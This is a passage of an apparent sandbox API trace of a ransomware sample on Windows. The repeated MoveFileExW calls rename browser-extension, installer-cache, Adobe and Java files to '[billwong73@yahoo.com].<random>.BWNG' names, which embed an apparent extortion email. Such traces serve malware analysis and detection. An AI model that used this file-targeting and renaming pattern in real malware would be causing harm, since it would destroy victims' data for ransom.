halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\verified_contents.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\[billwong73@yahoo.com].rTIPipJz-NaQKeEIN.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_metadata\\[billwong73@yahoo.com].rtipipjz-naqkeein.bwng"), dwFlags=0x1) returned 1 [0120.619] GetTickCount () returned 0x1165bf6 [0120.619] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26257371854) returned 1 [0120.622] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\[billwong73@yahoo.com].oRVNX3r7-usrGaEBp.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\en\\[billwong73@yahoo.com].orvnx3r7-usrgaebp.bwng"), dwFlags=0x1) returned 1 [0120.623] GetTickCount () returned 0x1165c05 [0120.623] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26257555909) returned 1 [0120.624] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\[billwong73@yahoo.com].J6Q2kLqM-EDBbGL0z.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\it\\[billwong73@yahoo.com].j6q2klqm-edbbgl0z.bwng"), dwFlags=0x1) returned 1 [0120.625] GetTickCount () returned 0x1165c05 [0120.625] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26257698373) returned 1 [0120.625] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\[billwong73@yahoo.com].9rpvsUPF-yml62I5u.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\ro\\[billwong73@yahoo.com].9rpvsupf-yml62i5u.bwng"), dwFlags=0x1) returned 1 [0120.626] GetTickCount () returned 0x1165c05 [0120.626] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26257851914) returned 1 [0120.627] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\[billwong73@yahoo.com].4R8HZiez-ne0sRh5E.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\[billwong73@yahoo.com].4r8hziez-ne0srh5e.bwng"), dwFlags=0x1) returned 1 [0120.628] GetTickCount () returned 0x1165c05 [0120.628] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26257989718) returned 1 [0120.628] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\[billwong73@yahoo.com].kCv5dpNc-1LT3JTWy.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\[billwong73@yahoo.com].kcv5dpnc-1lt3jtwy.bwng"), dwFlags=0x1) returned 1 [0120.629] GetTickCount () returned 0x1165c05 [0120.629] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26258165469) returned 1 [0120.630] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\[billwong73@yahoo.com].atK44AP8-jOb5gBWP.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\fi\\[billwong73@yahoo.com].atk44ap8-job5gbwp.bwng"), dwFlags=0x1) returned 1 [0120.631] GetTickCount () returned 0x1165c05 [0120.631] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26258318366) returned 1 [0120.631] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\[billwong73@yahoo.com].5EjxhBfI-VLI6Cbrm.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\lt\\[billwong73@yahoo.com].5ejxhbfi-vli6cbrm.bwng"), dwFlags=0x1) returned 1 [0120.632] GetTickCount () returned 0x1165c05 [0120.632] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26258461150) returned 1 [0120.633] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\[billwong73@yahoo.com].BnpOckZu-8svwTAlg.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\sk\\[billwong73@yahoo.com].bnpockzu-8svwtalg.bwng"), dwFlags=0x1) returned 1 [0120.634] GetTickCount () returned 0x1165c05 [0120.634] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26258600292) returned 1 [0120.634] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\computed_hashes.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\[billwong73@yahoo.com].fpsDp1ac-7JRzqYYv.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\[billwong73@yahoo.com].fpsdp1ac-7jrzqyyv.bwng"), dwFlags=0x1) returned 1 [0120.729] GetTickCount () returned 0x1165c73 [0120.729] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26268162871) returned 1 [0120.730] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\[billwong73@yahoo.com].E1lS4zaY-Mr3KICsk.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\[billwong73@yahoo.com].e1ls4zay-mr3kicsk.bwng"), dwFlags=0x1) returned 1 [0120.732] GetTickCount () returned 0x1165c73 [0120.732] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26268379618) returned 1 [0120.732] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\[billwong73@yahoo.com].EieHDrVx-lDBcEaJh.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_us\\[billwong73@yahoo.com].eiehdrvx-ldbceajh.bwng"), dwFlags=0x1) returned 1 [0120.733] GetTickCount () returned 0x1165c73 [0120.733] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26268529786) returned 1 [0120.733] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\[billwong73@yahoo.com].DZPbNWy1-vIp5cg1a.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\gl\\[billwong73@yahoo.com].dzpbnwy1-vip5cg1a.bwng"), dwFlags=0x1) returned 1 [0120.735] GetTickCount () returned 0x1165c73 [0120.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26268698353) returned 1 [0120.735] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\[billwong73@yahoo.com].B0ELukwO-lNBEMHqx.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ja\\[billwong73@yahoo.com].b0elukwo-lnbemhqx.bwng"), dwFlags=0x1) returned 1 [0120.736] GetTickCount () returned 0x1165c73 [0120.736] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26268840901) returned 1 [0120.736] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\[billwong73@yahoo.com].zMd6WKMZ-VgoGCHwu.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\mr\\[billwong73@yahoo.com].zmd6wkmz-vgogchwu.bwng"), dwFlags=0x1) returned 1 [0120.738] GetTickCount () returned 0x1165c73 [0120.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26268981920) returned 1 [0120.738] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\[billwong73@yahoo.com].cDMEHXlO-nClLFpKV.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\si\\[billwong73@yahoo.com].cdmehxlo-ncllfpkv.bwng"), dwFlags=0x1) returned 1 [0120.739] GetTickCount () returned 0x1165c73 [0120.739] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26269137716) returned 1 [0120.739] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\[billwong73@yahoo.com].ujAUXD4w-RmDZ5qPZ.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\uk\\[billwong73@yahoo.com].ujauxd4w-rmdz5qpz.bwng"), dwFlags=0x1) returned 1 [0120.741] GetTickCount () returned 0x1165c73 [0120.741] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26269307151) returned 1 [0120.741] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\[billwong73@yahoo.com].4N0WlQW6-e9b9HmM4.BWNG" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\[billwong73@yahoo.com].4n0wlqw6-e9b9hmm4.bwng"), dwFlags=0x1) returned 1 [0120.742] GetTickCount () returned 0x1165c73 [0120.742] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26269454341) returned 1 [0120.743] MoveFileExW (lpExistingFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\VC_redist.x86.exe" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\vc_redist.x86.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\[billwong73@yahoo.com].bqlQCaBG-HzDaTKM9.BWNG" (normalized: "c:\\programdata\\package cache\\{f325f05b-f963-4640-a43b-c8a494cdda0f}\\[billwong73@yahoo.com].bqlqcabg-hzdatkm9.bwng"), dwFlags=0x1) returned 1 [0120.744] GetTickCount () returned 0x1165c73 [0120.744] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26269597829) returned 1 [0120.744] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\ACECache11.lst" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\acecache11.lst"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Color\\[billwong73@yahoo.com].tHuLM87j-pZFIyds5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\adobe\\color\\[billwong73@yahoo.com].thulm87j-pzfiyds5.bwng"), dwFlags=0x1) returned 1 [0120.745] GetTickCount () returned 0x1165c82 [0120.745] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26269773451) returned 1 [0120.746] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715.cdf-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\[billwong73@yahoo.com].YAn97n0S-6grwCrFs.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\apps\\2.0\\dqq19bcj.jax\\yvorlgor.pnt\\manifests\\[billwong73@yahoo.com].yan97n0s-6grwcrfs.bwng"), dwFlags=0x1) returned 1 [0120.747] GetTickCount () returned 0x1165c82 [0120.747] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26269913278) returned 1 [0120.747] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\index" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\index"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\[billwong73@yahoo.com].xXK6LoA3-Yl9NW7XS.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\cache\\[billwong73@yahoo.com].xxk6loa3-yl9nw7xs.bwng"), dwFlags=0x1) returned 1 [0120.748] GetTickCount () returned 0x1165c82 [0120.748] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26270039621) returned 1 [0120.748] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Boa_Vista" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\boa_vista"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].OIsc4EVi-B2qN1xPg.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].oisc4evi-b2qn1xpg.bwng"), dwFlags=0x1) returned 1 [0120.750] GetTickCount () returned 0x1165c82 [0120.750] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26270394424) returned 1 [0120.752] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Chihuahua" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\chihuahua"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].3sjHmleq-alkEYgEv.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].3sjhmleq-alkeygev.bwng"), dwFlags=0x1) returned 1 [0120.753] GetTickCount () returned 0x1165c82 [0120.753] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26270544179) returned 1 [0120.753] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Dominica" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\dominica"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].99re0wkR-3q2gHeDJ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].99re0wkr-3q2ghedj.bwng"), dwFlags=0x1) returned 1 [0120.754] GetTickCount () returned 0x1165c82 [0120.754] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26270672690) returned 1 [0120.755] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Guadeloupe" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\guadeloupe"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\[billwong73@yahoo.com].Hv3Vh0su-7rqV8eoQ.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\[billwong73@yahoo.com].hv3vh0su-7rqv8eoq.bwng"), dwFlags=0x1) returned 1 [0120.923] GetTickCount () returned 0x1165d2e [0120.923] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26287562099) returned 1 [0120.924] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\Petersburg" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\petersburg"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Indiana\\[billwong73@yahoo.com].waAmRCQg-h1bZu273.BWNG" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\indiana\\[billwong73@yahoo.com].waamrcqg-h1bzu273.bwng"), dwFlags=0x1) returned 1 [0120.925] GetTickCount () returned 0x1165d2e [0120.925] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=26287751356) returned 1 [0120.926] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky\\Monticello" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\kentucky\\monticello"), lpNewFileName="C:\\Program Files 